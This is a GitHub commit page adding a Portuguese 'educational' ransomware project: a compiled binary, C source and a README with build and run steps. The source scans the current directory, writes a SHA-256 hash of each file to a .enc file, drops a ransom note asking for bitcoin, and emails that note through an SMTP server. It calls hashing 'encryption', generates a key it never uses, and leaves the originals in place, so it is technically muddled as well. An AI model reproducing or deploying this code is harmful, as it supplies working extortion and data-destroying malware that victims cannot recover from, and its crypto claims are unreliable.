Skip to content

Commit 2f44077

Browse files
committed
documentando_malware
0 parents  commit 2f44077

File tree

3 files changed

+264
-0
lines changed

3 files changed

+264
-0
lines changed

ransomware_simples

23 KB
Binary file not shown.

ransomware_simples.c

+189
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,189 @@
1+
#include <stdio.h>
2+
#include <stdlib.h>
3+
#include <string.h>
4+
#include <openssl/sha.h>
5+
#include <openssl/rand.h>
6+
#include <openssl/bio.h>
7+
#include <openssl/evp.h>
8+
#include <openssl/buffer.h>
9+
#include <curl/curl.h>
10+
#include <dirent.h>
11+
#include <sys/types.h>
12+
#include <unistd.h>
13+
14+
#define SMTP_SERVER "smtp://smtp.protonmail.com:443"
15+
#define SENDER_EMAIL "seu-email@proton.me"
16+
#define SENDER_PASSWORD "sua senha"
17+
#define RECEIVER_EMAIL "email-do-alvo hehe"
18+
19+
void criptografar_arquivo(const char *path, const unsigned char *key){
20+
FILE *file = fopen(path, "rb");
21+
if(!file){
22+
perror("Erro ao abrir arquivo");
23+
return;
24+
}
25+
26+
fseek(file, 0, SEEK_END);
27+
long size = ftell(file);
28+
fseek(file, 0, SEEK_SET);
29+
30+
unsigned char *data = (unsigned char *)malloc(size);
31+
fread(data, 1, size, file);
32+
fclose(file);
33+
34+
unsigned char criptografado[SHA256_DIGEST_LENGTH];
35+
EVP_MD_CTX *mdctx = EVP_MD_CTX_new();
36+
37+
EVP_DigestInit_ex(mdctx, EVP_sha256(), NULL);
38+
EVP_DigestUpdate(mdctx, data, size);
39+
EVP_DigestFinal_ex(mdctx, criptografado, NULL);
40+
41+
42+
char new_path[256];
43+
snprintf(new_path, sizeof(new_path), "%s.enc", path);
44+
file = fopen(new_path, "wb");
45+
fwrite(criptografado, 1, SHA256_DIGEST_LENGTH, file);
46+
fclose(file);
47+
free(data);
48+
EVP_MD_CTX_free(mdctx);
49+
}
50+
51+
char *base64_encode(const unsigned char *input, int length){
52+
BIO *bmem, *b64;
53+
BUF_MEM *bptr;
54+
55+
b64 = BIO_new(BIO_f_base64());
56+
bmem = BIO_new(BIO_s_mem());
57+
BIO_push(b64, bmem);
58+
BIO_write(b64, input, length);
59+
BIO_flush(b64);
60+
BIO_get_mem_ptr(b64, &bptr);
61+
62+
char *buff = (char *)malloc(bptr->length + 1);
63+
memcpy(buff, bptr->data, bptr->length);
64+
buff[bptr->length] = 0;
65+
66+
BIO_free_all(b64);
67+
68+
return buff;
69+
70+
}
71+
72+
size_t payload_source(void *ptr, size_t size, size_t nmemb, void *userp){
73+
const char **upload = (const char **)userp;
74+
if(size * nmemb < 1 || !*upload){
75+
return 0;
76+
}
77+
78+
size_t len = strlen(*upload);
79+
memcpy(ptr, *upload, len);
80+
*upload += len;
81+
return len;
82+
}
83+
84+
void enviar_email(const char *mensagem){
85+
CURL *curl;
86+
CURLcode res;
87+
struct curl_slist *recipients = NULL;
88+
89+
curl = curl_easy_init();
90+
if(curl){
91+
curl_easy_setopt(curl, CURLOPT_USERNAME, SENDER_EMAIL);
92+
curl_easy_setopt(curl, CURLOPT_PASSWORD, SENDER_PASSWORD);
93+
curl_easy_setopt(curl, CURLOPT_URL, SMTP_SERVER);
94+
95+
curl_easy_setopt(curl, CURLOPT_MAIL_FROM, SENDER_EMAIL);
96+
recipients = curl_slist_append(recipients, RECEIVER_EMAIL);
97+
curl_easy_setopt(curl, CURLOPT_MAIL_RCPT, recipients);
98+
99+
curl_easy_setopt(curl, CURLOPT_USE_SSL, CURLUSESSL_ALL);
100+
101+
curl_easy_setopt(curl, CURLOPT_READFUNCTION, payload_source);
102+
curl_easy_setopt(curl, CURLOPT_READDATA, &mensagem);
103+
curl_easy_setopt(curl, CURLOPT_UPLOAD, 1L);
104+
105+
res = curl_easy_perform(curl);
106+
107+
if(res != CURLE_OK){
108+
fprintf(stderr, "Erro ao enviar e-mail: %s\n", curl_easy_strerror(res));
109+
}
110+
111+
curl_slist_free_all(recipients);
112+
curl_easy_cleanup(curl);
113+
114+
}
115+
}
116+
117+
int main(){
118+
unsigned char key[32];
119+
RAND_bytes(key, sizeof(key));
120+
char *key_base64 = base64_encode(key, sizeof(key));
121+
122+
const char *pasta = ".";
123+
124+
struct dirent *entry;
125+
DIR *dp = opendir(pasta);
126+
127+
if(dp == NULL){
128+
perror("Erro ao abrir diretório");
129+
return 1;
130+
}
131+
132+
while((entry = readdir(dp))){
133+
if(entry->d_type == DT_REG){
134+
char path[256];
135+
snprintf(path, sizeof(path), "%s/%s", pasta, entry->d_name);
136+
criptografar_arquivo(path, key);
137+
138+
}
139+
140+
}
141+
142+
closedir(dp);
143+
144+
FILE *resgate = fopen("ola-gafanhoto.txt", "w");
145+
fprintf(resgate, "Olá, meu caro, seus arquivos foram criptografado. Quer recupera-los? envie 'algum valor em bitcoin', para esse endereço 'endereço da sua carteira'.\n");
146+
fclose(resgate);
147+
148+
FILE *ransomware = fopen("ola-gafanhoto.txt", "rb");
149+
if(ransomware){
150+
fseek(ransomware, 0, SEEK_END);
151+
long tamanho = ftell(ransomware);
152+
fseek(ransomware, 0, SEEK_SET);
153+
154+
char *mensagem = (char *)malloc(tamanho + 1);
155+
fread(mensagem, 1, tamanho, ransomware);
156+
mensagem[tamanho] = '\0';
157+
158+
enviar_email(mensagem);
159+
160+
free(mensagem);
161+
fclose(ransomware);
162+
163+
}
164+
165+
free(key_base64);
166+
return 0;
167+
168+
}
169+
170+
171+
172+
173+
174+
175+
176+
177+
178+
179+
180+
181+
182+
183+
184+
185+
186+
187+
188+
189+

readme.md

+75
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,75 @@
1+
# Ransomware Simples
2+
3+
<div align="center">
4+
<img src="https://giphy.com/gifs/cat-matrix-catrix-FcqKy4Kj7XOK0hCW4g" width="300" height="300" alt="Skull gif"/>
5+
</div>
6+
7+
Ransomware Simples é um projeto educacional desenvolvido em C para demonstrar como um ransomware básico pode ser implementado. Este projeto é exclusivamente para fins de aprendizado sobre desenvolvimento de malware e segurança cibernética.
8+
9+
**AVISO:** Este software é um exemplo educacional e não deve ser usado para atividades maliciosas ou ilegais. A utilização deste código em ambientes reais pode levar a consequências legais.
10+
11+
## Criado por WesleyA0101
12+
13+
## Tecnologias Usadas
14+
15+
<div align="center">
16+
<img src="https://icongr.am/devicon/c-original.svg?size=128&color=currentColor" alt="C Logo" width="60" height="60"/>
17+
<img src="https://icongr.am/devicon/vim-original.svg?size=128&color=currentColor" alt="Vim Logo" width="60" height="60"/>
18+
<img src="https://icongr.am/devicon/openssl-original.svg?size=128&color=currentColor" alt="OpenSSL Logo" width="60" height="60"/>
19+
<img src="https://icongr.am/devicon/curl-original.svg?size=128&color=currentColor" alt="cURL Logo" width="60" height="60"/>
20+
</div>
21+
22+
## Tabela de Conteúdos
23+
24+
- [Características](#características)
25+
- [Pré-requisitos](#pré-requisitos)
26+
- [Instalação](#instalação)
27+
- [Uso](#uso)
28+
- [Avisos Importantes](#avisos-importantes)
29+
- [Contribuições Futuras](#contribuições-futuras)
30+
31+
## Características
32+
33+
- **Criptografia de Arquivos:** O ransomware criptografa arquivos no diretório especificado usando SHA-256.
34+
- **Geração de Chave:** Uma chave de criptografia é gerada aleatoriamente para cada execução.
35+
- **Envio de E-mail:** Após a criptografia, um e-mail é enviado para um endereço especificado, informando sobre o resgate.
36+
- **Arquivos de Resgate:** Um arquivo de resgate é criado, informando ao usuário como recuperar seus dados.
37+
38+
## Pré-requisitos
39+
40+
Antes de começar, você precisará ter:
41+
42+
- Um sistema operacional baseado em Linux ou gerar um executável no Windows.
43+
- Compilador `gcc` instalado para compilar o código.
44+
- Bibliotecas `libssl` e `libcurl` instaladas.
45+
46+
## Instalação
47+
48+
Clone o repositório e compile o projeto:
49+
50+
```bash
51+
git clone https://github.com/seuusuario/ransomware_simples.git
52+
cd ransomware_simples
53+
gcc ransomware_simples.c -o ransomware_simples -lssl -lcrypto -lcurl
54+
```
55+
56+
## Uso
57+
58+
```bash
59+
./ransomware_simples
60+
```
61+
62+
## Nota: Execute este programa em um ambiente controlado e apenas para fins de teste.
63+
64+
## Avisos Importantes
65+
66+
- Este ransomware não possui uma função de reversão de criptografia até o momento. Os arquivos criptografados não podem ser recuperados sem uma implementação futura dessa funcionalidade.
67+
68+
- O uso deste software em sistemas não autorizados é ilegal e pode resultar em consequências legais graves. Este projeto deve ser utilizado somente em ambientes de teste controlados.
69+
70+
- Contribuições Futuras
71+
Este projeto será atualizado com novas funcionalidades e melhorias. Fique atento para atualizações que incluirão:
72+
73+
- Implementação de um método de reversão de criptografia.
74+
- Melhorias na interface e design.
75+
- Expansão da funcionalidade para suportar diferentes métodos de criptografia.

0 commit comments

Comments
 (0)